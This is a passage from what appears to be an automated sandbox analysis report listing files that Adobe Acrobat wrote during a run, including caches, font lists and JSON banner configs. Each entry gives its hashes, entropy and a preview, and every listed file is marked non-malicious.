SHA1:	169B79CC74FFDAE554452E847FCC040D0839C37B
SHA-256:	F9245BC5E5E8DD9C4566167693BAE289B1D04E5237751BEAC114F31082CA74F2
SHA-512:	8CA634A947F3A24FE4F51D6C8E7E5DE27708647A0644B7ECF80024A4D9E4DD122F1C3FB1DA45B48195207A9D0AFE57B91AFF822D85A60EB7801277912733A3C1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7735681679647888
Encrypted:	false
SSDEEP:	48:7MOp/E2ioyVtioy9oWoy1Cwoy1xKOioy1noy1AYoy1Wioy1hioybioy9oy1noy1k:7FpjutFcXKQ8qb9IVXEBodRBkr
MD5:	1ECA79168EC10C464B269C636FD4317F
SHA1:	554C082E92F08E24AD463F2281790F86F17B3F59
SHA-256:	265FBDC4A87A96C8350D8ADDE65F07DB8DC98B898F230E61F03C941243E62DCA
SHA-512:	0D75FEF4DB85BA96E9C57B1B97441E2370B5CA6E9DBB43417E94AABB51A8121002AB0E6CB07620332D4330975B22C6F634F45F4900CE4D9A04FAF0D3772B93FD
Malicious:	false
Preview:	.... .c......pt................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklCI+GbVltfllXlE/HT8k7tNNX8RolJuRdxLlGB9lQRYwpDdt:kKbabPeT8MNMa8RdWBwRd
MD5:	5FB1FCDEBC35212A61FAE8CD91748F4A
SHA1:	9E0F0C260A2CE5ECEC183B290AF6237E697BD17F
SHA-256:	FAB1FC023C115679E85D41F774A1A3AC782C1498B3DCD85BCACD7599B468E079
SHA-512:	C1E1AC837EAD07F676C104AE382AC5AEEC83D9E8E1B412B2FE89A8FF20A76654BBB7EA6ACD2331BD6CE8749D5FA1D158260D8518FAE07613596970CD4F2483FD
Malicious:	false
Preview:	p...... ........q....c..(....................................................... ..........W....u}..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8008

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8008

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.376353432125746
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJM3g98kUwPeUkwRe9:YvXKX/H2JEZc0vFAVGMbLUkee9
MD5:	A53F17703F80329DB4C8BF7BEF5BB083
SHA1:	CB7570318FBE89CC1FD631C073CF6FC8F48BEEFA
SHA-256:	4FFFE2C3BB220900EE0281F5B89060360952783C50FF1F5D65A8D3069A491049
SHA-512:	65BC7324405EEE9C53600E12F483ACA7535301690C2D051E461F07A9545B82DED40938001B8B0CC012FEE7E21D2086E8BF2439CE01C607458A8A74C18065F68B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325074908974428
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfBoTfXpnrPeUkwRe9:YvXKX/H2JEZc0vFAVGWTfXcUkee9
MD5:	7920285CEBD03D1B8FB6580D40FC1CD5
SHA1:	B53FFE2D475A20DA0E6F3FD3F6B47526F3BD1B31
SHA-256:	CF59028D3E7320B86D1382B7BFA5A5A86125B936B9DC8F3EF675821271F466D8
SHA-512:	1B9E3A1F331718B109D4EE7D0B82AB2CB787B3F14ECC1B389487C73F2B2AF99EA4C06689A5784479997805530306C8B6D7DC21829E5D8053664DAA739CC7A7D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3040699443695045
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfBD2G6UpnrPeUkwRe9:YvXKX/H2JEZc0vFAVGR22cUkee9
MD5:	B89677C90C5E6CAC285612F422680230
SHA1:	2222CB0ECE05957535C352CAF526A2C4BB1481CC
SHA-256:	B4D7388BD260D97DA22E0F3A2CFCFFD6EDEBA72043B5CE055EADE0848CC81DEA
SHA-512:	BDECD4671805FC3D7517B950CF7D0FF07A4D7B0EB2F39D3BF2933701DDF9EA0F564D6E7A60A1EED53628F2240F0B919386AE09288EEDD1B5B4139EC89AE73D54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.363819729401905
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfPmwrPeUkwRe9:YvXKX/H2JEZc0vFAVGH56Ukee9
MD5:	56C19CE729E94A6B69FB3982A4F49E88
SHA1:	0BFDE1911CD108025834CB142DA3B83FF3813F04
SHA-256:	779C959394E0465322AB5397FDD586538754D890227CBF6A0E335DE07D4FE974
SHA-512:	9FC802DD6E0F7391413AE6AF06A88A242E663751CA39EA0FF4EAFA074D20071A6034E0967FC025AB7DBE897EDBD9779367C971BB1240BAE6EAAA437A8075CC91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693373918418966
Encrypted:	false
SSDEEP:	24:Yv6X/HuEzvppLgE9cQx8LennAvzBvkn0RCmK8czOCCS/Y:YvoH1hhgy6SAFv5Ah8cv/Q
MD5:	040939677F1633B79198800F21376504
SHA1:	7E146FE7A1EA170C80147C9BBF54C62275466247
SHA-256:	9BC171FEDE1384F37A7DA9D08B137C193C85ED7D418B57572B951B37B1E35F0F
SHA-512:	E4C9A36A9A25B74E7C02B0A8F0D99B0BA901CABE0798258A0BE8AFB62227B9AD499E8398F8F0CCCF358D2C91258F62B56981624F7CEC0137151F4CD1D9F4F5B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310526293102676
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJf8dPeUkwRe9:YvXKX/H2JEZc0vFAVGU8Ukee9
MD5:	36A5AEF4A2FA81AD5D95D16F54404298
SHA1:	3D679855A482611999BD11A8FAE5508F5E2EB3FD
SHA-256:	3A239E394891E206FDB00D23D4F12873FE41A823E56F625CFE4D16FA7B22EA1D
SHA-512:	FE1DFA503E036DE630224683BF089D7305F28839845FD8823CC6F2F6A1F296087C14AF1EE846764440DCEF7D6F36084DFB0B803AF970C6803FAF7E508C8D7A16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.314009784498614
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfQ1rPeUkwRe9:YvXKX/H2JEZc0vFAVGY16Ukee9
MD5:	565CCF2788A4535B1A0AD2F253949848
SHA1:	349AC41F9AC3362730DAE6078C2B43165461527F
SHA-256:	59853ED41D68915E7AAEDFC131B18DC10237A7260B080E5A9E1199743C5441C4
SHA-512:	5F725B54E80D7D96B5DB8AAF9CF1D10FDEC255F63E0B7EA9E18AE00685A516EBFF6D5CC8673AB5504634E62021511FA1C71FF4A3E289667EF6B32F11193F6241
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319329339373775
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfFldPeUkwRe9:YvXKX/H2JEZc0vFAVGz8Ukee9
MD5:	8F2527BA3CFEAEDE310B9F5DB2B30CF2
SHA1:	75B79712A1B4D2C0CCB7AD311048448BCD9FC92E
SHA-256:	C74A483C91E75994B204D651003F0A90BE51A019A96D6B8AD8AF6C15341F45F6
SHA-512:	F7BC40A14E84F9A5688FD3EDC39E60B80DB9B45333B522BE7C8DE2615B153336777E239FE0B7823EB7E3BD2B37E5268FFBED484A4EAD1B20D4A7415F910A8E4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335629315411334
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfzdPeUkwRe9:YvXKX/H2JEZc0vFAVGb8Ukee9
MD5:	EDC8E5F87423FF25123FF6689A3D5618
SHA1:	A29DAE1D7C9886CCF9244A04FA25E5CA9C59E389
SHA-256:	921AD082CFCF3E74E34E86AD60E783758858E90AC51C2C6057F4C3E71A1385EB
SHA-512:	17EE74E61553E15F6779C7D8121FCB3E091B87C806C4CFE0256E9572C96241D9B62EAAF85149401D315A3D9BBBE3503D9A61996A39E23CEA3586015530B6E64E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316316936190234
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJfYdPeUkwRe9:YvXKX/H2JEZc0vFAVGg8Ukee9
MD5:	A4D39D1B854E24212B9331B248EB3352
SHA1:	BB964C2533EFD57A26DB3898382A43CCFDEF59DE
SHA-256:	9E424F6B589EF545775BBBFF36AF62C3A6BBBD356285818341BC750117619A44
SHA-512:	FB53BAABCE4E38487B04A29ACA6DA09AA42F25905542175F6385211B77A5F5BFDFA02547DCA0AD0195F6F58D4AE14EA4DD9699695D06F960C2B0FB8054B51503
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e53a09c9-f1f5-4838-8285-ed4f3175db30","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744502080,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302953569944097
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/H2J9VoZcg1vRcR0YyAFleoAvJf+dPeUkwRe9:YvXKX/H2JEZc0vFAVG28Ukee9
MD5:	BA7E64F002F39768EA43EF50552FB9EA
SHA1:	81E9AAE9B5EFA797970B264FB4C9FE7AD6FA0CA7
